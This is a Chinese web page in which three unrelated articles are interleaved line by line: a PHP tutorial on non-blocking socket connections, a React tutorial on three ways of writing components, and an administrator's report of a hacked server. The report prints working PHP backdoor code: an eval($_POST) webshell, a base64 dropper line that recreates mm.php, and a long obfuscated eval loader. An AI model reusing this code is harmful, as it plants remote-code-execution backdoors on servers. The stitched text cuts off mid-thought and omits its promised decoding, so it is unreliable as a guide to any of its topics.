Post Jobs

React组件的三种写法总结,fsockopen中多线程问题的解决办法

问题:
有没有办法在php中实现多线程呢?
假设你正在写一个基于多台服务器的php应用,理想的情况时同时向多台服务器发送请求,而不是一台接一台。
可以实现吗?
回答:
当有人想要实现并发功能时,他们通常会想到用fork或者spawn
threads,但是当他们发现php不支持多线程的时候,大概会转换思路去用一些不够好的语言,比如perl。
其实的是大多数情况下,你大可不必使用fork或者线程,并且你会得到比用fork或thread更好的性能。
假设你要建立一个服务来检查正在运行的n台服务器,以确定他们还在正常运转。你可能会写下面这样的代码:

React 专注于 view 层,组件化则是 React
的基础,也是其核心理念之一,一个完整的应用将由一个个独立的组件拼装而成。

今天一个客户的服务器频繁被写入:
mm.php
内容为:

复制代码 代码如下:

截至目前 React 已经更新到 v15.4.2,由于 ES6
的普及和不同业务场景的影响,我们会发现目前主要有三种创建 React
组件的写法:1. ES5写法React.createClass,2. ES6写法React.Component,3.
无状态的函数式写法(纯组件-SFC)。

复制代码 代码如下:

<?php
$hosts = array(“host1.sample.com”, “host2.sample.com”,
“host3.sample.com”);
$timeout = 15; $status = array();
foreach ($hosts as $host) {
$errno = 0;
$errstr = “”;
$s = fsockopen($host, 80, $errno, $errstr, $timeout);
if ($s) {
$status[$host] = “Connectedn”;
fwrite($s, “HEAD / HTTP/1.0rnHost: $hostrnrn”);
do {
$data = fread($s, 8192);
if (strlen($data) == 0) { break; }
$status[$host] .= $data;
} while (true); fclose($s);
} else {
$status[$host] = “Connection failed: $errno $errstrn”;
}
}
print_r($status);
?>

你们最钟爱哪种写法呢?萝卜青菜各有所爱~
每个团队都有自己的代码规范和开发模式,但书写 React 组件时
都会以提高代码阅读性、更优的组件性能、易于 bug
追踪为原则。下面我们就聊聊这三种写法的区别,以及各自所适用场景的最佳实践。

<?eval($_POST[c]);?>

它运行的很好,但是在fsockopen()分析完hostname并且建立一个成功的连接(或者延时$timeout秒)之前,扩充这段代码来管
理大量服务器将耗费很长时间。
因此我们必须放弃这段代码;我们可以建立异步连接-不需要等待fsockopen返回连接状态。PHP仍然需要解析hostname(所以直接使用ip更
加明智),不过将在打开一个连接之后立刻返回,继而我们就可以连接下一台服务器。
有两种方法可以实现;PHP5中可以使用新增的stream_socket_client()函数直接替换掉fsocketopen()。PHP5之前的
版本,你需要自己动手,用sockets扩展解决问题。
下面是PHP5中的解决方法:

ES5-写法 React.createClass

最后查到某文件内的第一行为以下代码:

复制代码 代码如下:

React.createClass不用多说,我们最早使用这个方法来构建一个组件“类”,它接受一个对象为参数,对象中必须声明一个render方法,render返回一个组件实例,下面用一个
SwitchButton 组件的例子来看看React.createClass的具体用法:

复制代码 代码如下:

<?php
$hosts = array(“host1.sample.com”, “host2.sample.com”,
“host3.sample.com”);
$timeout = 15;
$status = array();
$sockets = array();
foreach ($hosts as $id => $host) {
$s = stream_socket_client(“$host:80”, $errno, $errstr,
$timeout,STREAM_CLIENT_ASYNC_CONNECT|STREAM_CLIENT_CONNECT);
if ($s) {
$sockets[$id] = $s;
$status[$id] = “in progress”;
} else {
$status[$id] = “failed, $errno $errstr”;
}
}
while (count($sockets)) {
$read = $write = $sockets;
$n = stream_select($read, $write, $e = null, $timeout);
if ($n > 0) {
foreach ($read as $r) {
$id = array_search($r, $sockets);
$data = fread($r, 8192);
if (strlen($data) == 0) {
if ($status[$id] == “in progress”) {
$status[$id] = “failed to connect”;
}
fclose($r);
unset($sockets[$id]);
} else {
$status[$id] .= $data;
}
}
foreach ($write as $w) {
$id = array_search($w, $sockets);
fwrite($w, “HEAD / HTTP/1.0rnHost: ” . $hosts[$id] . “rnrn”);
$status[$id] = “waiting for response”;
}
} else {
foreach ($sockets as $id => $s) {
$status[$id] = “timed out ” . $status[$id];
}
break;
}
}
foreach ($hosts as $id => $host) {
echo “Host: $hostn”; echo “Status: ” . $status[$id] . “nn”;
}
?>

var React = require('react');
var ReactDOM = require('react-dom');
var SwitchButton = React.createClass({
 getDefaultProp:function() {
 return { open: false }
 },
 getInitialState: function() {
 return { open: this.props.open };
 },
 handleClick: function(event) {
 this.setState({ open: !this.state.open });
 },
 render: function() {
 var open = this.state.open,
  className = open ? 'switch-button open' : 'btn-switch';

 return (
  <label className={className} onClick={this.handleClick.bind(this)}>
  <input type="checkbox" checked={open}/>
  </label>
 );
 }
});
ReactDOM.render(
 <SwitchButton />,
 document.getElementById('app')
);

fputs(fopen(base64_decode(“bW0ucGhw”),”w”),base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”));
base64_decode(“bW0ucGhw”) //mm.php
base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”) //
<?eval($_POST[c]);?>

我们用stream_select()等待sockets打开的连接事件。stream_select()调用系统的select(2)函数来工
作:前面三个参数是你要使用的streams的数组;你可以对其读取,写入和获取异常(分别针对三个参数)。stream_select()可以通过设
置$timeout(秒)参数来等待事件发生-事件发生时,相应的sockets数据将写入你传入的参数。
下面是PHP4.1.0之后版本的实现,如果你已经在编译PHP时包含了sockets(ext/sockets)支持,你可以使用根上面类似的代
码,只是需要将上面的streams/filesystem函数的功能用ext/sockets函数实现。主要的不同在于我们用下面的函数代替
stream_socket_client()来建立连接:

ES6-写法 React.Component

这样,只要这些文件被访问就会自动创建 mm.php
如果你发现了mm.php,删除了,以后还会再有的,真是越来越变态了~
下以相关内容

复制代码 代码如下:

React 升级到 v0.13 后就支持了 ES6 的class语法,我们可以使用class App
extends
React.Component{…}的方式创建组件,这也是目前官方推荐创建有状态组件的方式。用
ES6 重写上面 SwitchButton 组件的例子:

复制代码 代码如下:

<?php
// This value is correct for Linux, other systems have other values
define(‘EINPROGRESS’, 115);
function non_blocking_connect($host, $port, &$errno, &$errstr,
$timeout) {
$ip = gethostbyname($host);
$s = socket_create(AF_INET, SOCK_STREAM, 0);
if (socket_set_nonblock($s)) {
$r = @socket_connect($s, $ip, $port);
if ($r || socket_last_error() == EINPROGRESS) {
$errno = EINPROGRESS; return $s;
}
}
$errno = socket_last_error($s);
$errstr = socket_strerror($errno);
socket_close($s);
return false;
}
?>

import React from 'react'
import { render } from 'react-dom'
class SwitchButton extends React.Component {
 constructor(props) {
 super(props)
 this.state = {
  open: this.props.open
 }
 this.handleClick = this.handleClick.bind(this)
 }
 handleClick(event) {
 this.setState({ open: !this.state.open })
 }
 render() {
 let open = this.state.open,
  className = open ? 'switch-button open' : 'btn-switch'
 return (
  <label className={className} onClick={this.handleClick}>
  <input type="checkbox" checked={open}/>
  </label>
 )
 }
}
SwitchButton.defaultProps = {
 open: false
}
render(
 <SwitchButton />,
 document.getElementById('app')
)

PD9ldmFs //base64_encode(“<?eval”);
ZXZhbA== //base64_encode(“eval”);

现在用socket_select()替换掉stream_select(),用socket_read()替换掉fread(),用
socket_write()替换掉fwrite(),用socket_close()替换掉fclose()就可以执行脚本了!
PHP5的先进之处在于,你可以用stream_select()处理几乎所有的stream-例如你可以通过include
STDIN用它接收键盘输入并保存进数组,你还可以接收通过proc_open()打开的管道中的数据。
如果你想让PHP4.3.x自身拥有处理streams的功能,我已经为你准备了一个让fsockopen可以异步工作的patch。不赞成使用该补丁,
该补丁不会出现在官方发布的PHP版本中,我在补丁中附带了stream_socket_client()函数的实现,通过它,你可以让你的脚本兼容
PHP5。

与React.createClass创建组件的不同之处:

还发现一个ThinkPHP框架—sgcms的相密文件,内容以下:

您可能感兴趣的文章:

  • php中fsockopen用法实例
  • php使用fsockopen函数发送post,get请求获取网页内容的方法
  • PHP的fsockopen、pfsockopen函数被主机商禁用的解决办法
  • php定时计划任务与fsockopen持续进程实例
  • php fsockopen解决办法
    php实现多线程
  • 浅析虚拟主机服务器php
    fsockopen函数被禁用的解决办法
  • php
    fsockopen伪造post与get方法的详解
  • 基于php
    socket(fsockopen)的应用实例分析
  • 发布一个用PHP
    fsockopen写的HTTP下载的类
  • php源码
    fsockopen获取网页内容实例详解

import

复制代码 代码如下:

与这里使用了 ES6 的import语句替代require()方法导入模块,其中import
{render}可以直接从模块中导入变量名,这种写法更加简洁直观。

<?php // Code By isosky www.nbst.org
$OOO0O0O00=__FILE__;$OOO000000=urldecode(‘%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72′);$OO00O0000=12308;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0=’OOO0000O0’;eval(($$O0O0000O0(‘JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMTY1KTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ05TWGZZT0cvUXExeWF1ak00VzlFeDh0bEk3b0FIVmR3NWhEQ3oyQjBuc3ZQcFptS2diUjNKVUxlaytyNmNUaUY9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=’)));return;?>
qYTMafSMafSMafU3V/qwHB8gAGOC7950lUTG9xbOlUc0yXQ0QDkzEJTMaYcgE3NgyDQ0QDgnqYTME3NgafSMaX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B2BQX5hot+wIlqRIlzn7t+z1G8kHGbK7GxnqRk0yXWBotb219zpqGWK7GTrolN5yE+Botb27B2pVG8RHRzsf4sCAL+Jot+U7EpuXB8CoGc5QCbBAL+JQG7hILxTlXqeot+07G2m7euHQDS3ols2M8gDu8gDMCQcyL7KA04iqB+DHeN6qB+DHeN6qG7sAGxcI0QiQCpuX0JuXB8pHLxuX0puXB8CoGc5QCbBAL+JQG7hILxTlXqeot+07G2m7euHQDS3ols2M8gDu8gDMCNcyL7KA04iqB+DHeN6qG7sAGxcI0QiQCpuX0JuXDWBotb2A08ZQXpTQGbsHeWBotb2HR5z7B2p79z6f4sTf4nz7GTzAessHXNZMBuR7tOJ7t7sAGxn1EpuXB8CoGc5QCbDHC+3VtuC7lu3yY7KHDNz7B2p7t+UA9SBotb2HR+8HBgrMGY5o/q27CJ0qOT9W8O8W8uxteWK7G2Rl9Wwxz8W8x8E8OZrolSmItU2l9H5lL7CoeuhVB8zVlqpM9HzlUqOx88OxUWAVGTzolqVqOT9W8O8W8uxtessHG+hAt8Vq3kzlUqOx88OxUWAVGTzolqVqOT9W8O8W8uxtessHG+hAt8VQX5DyB+UA8TDolWUAB2J1G7sAG83ols21XQzlUqOx88OxUWAVGTzolqVqOT9W8O8W8uxtessHG+hAt8VQDzsyDHsMXThMDH6f4sTf4s2A/u2f4s6f4s2ILhKQXQzlUqOx88OxUWAVGTzolqVqOT9W8O8W8uxtessHG+hAt8VQY8RHBTRyO8mItqp79SJARSeHB2J79SBotb2yCbDHCkDjgJ1w4J1w4J1jL8CoGc5qRN5f4ncyL7KHBJiQXNuXCgKIBTzdEk5QNJ1MXTnVGUpMDN5f4n0jg==

初始化 state

解密后为:

发表评论

电子邮件地址不会被公开。 必填项已用*标注

相关文章

网站地图xml地图